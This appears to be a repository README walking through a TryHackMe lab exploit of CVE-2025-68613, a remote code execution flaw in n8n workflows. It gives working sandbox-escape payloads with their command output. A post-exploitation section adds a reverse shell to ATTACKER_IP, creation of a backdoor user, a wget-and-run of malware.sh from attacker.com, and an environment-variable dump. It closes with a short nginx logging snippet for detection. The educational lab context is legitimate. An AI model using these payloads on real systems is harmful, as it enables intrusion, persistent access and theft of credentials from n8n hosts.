
Educational walkthrough for exploiting CVE-2025-68613, a critical RCE in n8n workflow automation. Covers expression injection, sandbox escape, payload development, and detection strategies via a TryHackMe lab.
This repository documents a hands-on exploitation of CVE-2025-68613 (CVSS 9.9), a critical Remote Code Execution vulnerability affecting the n8n workflow automation platform (versions 0.211.0 through 1.120.3).
This exploitation was performed ethically in a controlled TryHackMe lab environment for educational purposes only.
| Field | Value |
|---|---|
| CVE ID | CVE-2025-68613 |
| CVSS Score | 9.9 (Critical) |
| Published | December 19, 2025 |
| Affected Product | n8n Workflow Automation Platform |
| Vulnerability Type | Expression Injection → Sandbox Escape → RCE |
| Attack Vector | Authenticated User (Default) |
| Patched Versions | 1.120.4, 1.121.1, 1.122.0+ |
| Affected Versions | 0.211.0 - 1.120.3 |
n8n is an open-source workflow automation platform that allows users to visually connect applications and services for task automation. It features:
{{ }} evaluated as JavaScriptThe vulnerability resides in n8n's workflow expression evaluation system. When authenticated users configure workflows, their input is processed as JavaScript code without adequate sandboxing.
Expression Sandbox
↓ (escape via 'this')
Node.js Global Context
↓ (access mainModule)
Module System (require)
↓ (load child_process)
System Command Execution
{{ }} are evaluated as raw JavaScript without proper context isolationthis object allows escape from intended sandbox restrictionsprocess.mainModule.require() provides access to Node.js module systemchild_process module for system command execution(function(){
return this.process.mainModule.require('child_process').execSync('COMMAND').toString()
})()
Explanation:
this → Node.js global objectthis.process → Node.js process objectprocess.mainModule → Root module of n8n application.require('child_process') → Load system command execution module.execSync('COMMAND') → Execute shell command synchronously.toString() → Convert Buffer output to readable stringAccess the vulnerable n8n instance and log in with valid credentials.
Lab Credentials:
[email protected]Try12345!
After login, you're presented with the workflow creation interface. Click "Start from scratch" to begin a new workflow.

Click "Add first step" and search for "Manual Trigger". This node serves as the entry point for workflow execution.

Purpose: The Manual Trigger node allows manual execution of the workflow via the "Execute workflow" button in the UI, making it ideal for testing.
Add an "Edit Fields" node to perform field mapping. This is where the vulnerability is exploited.

Configuration Steps:
Inject the payload to execute the id command and retrieve user/privilege information.
Payload:
(function(){ return this.process.mainModule.require('child_process').execSync('id').toString() })()
Result:
uid=1000(node) gid=1000(node) groups=1000(node)

Information Gathered:
Modify the payload to execute ls command and list directory contents.
Payload:
(function(){ return this.process.mainModule.require('child_process').execSync('ls -la').toString() })()

Output Shows:
flag.txtRead the flag file using cat command to complete the exploitation.
Payload:
(function(){ return this.process.mainModule.require('child_process').execSync('cat flag.txt').toString() })()
Flag Retrieved:
THM{n8n_exposed_workflow}

Establish interactive shell access for persistent control:
(function(){
return this.process.mainModule.require('child_process').execSync('bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1').toString()
})()
Add a new system user for persistent access:
(function(){
return this.process.mainModule.require('child_process').execSync('useradd -m -p $(openssl passwd -1 PASSWORD) backdoor').toString()
})()
Fetch and execute remote code:
(function(){
return this.process.mainModule.require('child_process').execSync('wget http://attacker.com/malware.sh -O /tmp/malware.sh && bash /tmp/malware.sh').toString()
})()
Check for sudo privileges:
(function(){
return this.process.mainModule.require('child_process').execSync('sudo -l').toString()
})()
Extract environment variables:
(function(){
return this.process.mainModule.require('child_process').execSync('env').toString()
})()
Configure your proxy to log request bodies for analysis:
http {
log_format detailed '$remote_addr - $remote_user [$time_local] '
'"$request" $status $body_bytes_sent '
'"$http_referer" "$http_user_agent" '
'Request-Body: "$request_body" '
'Duration: $request_time s';
access_log /var/log/nginx/detailed_access.log detailed;
}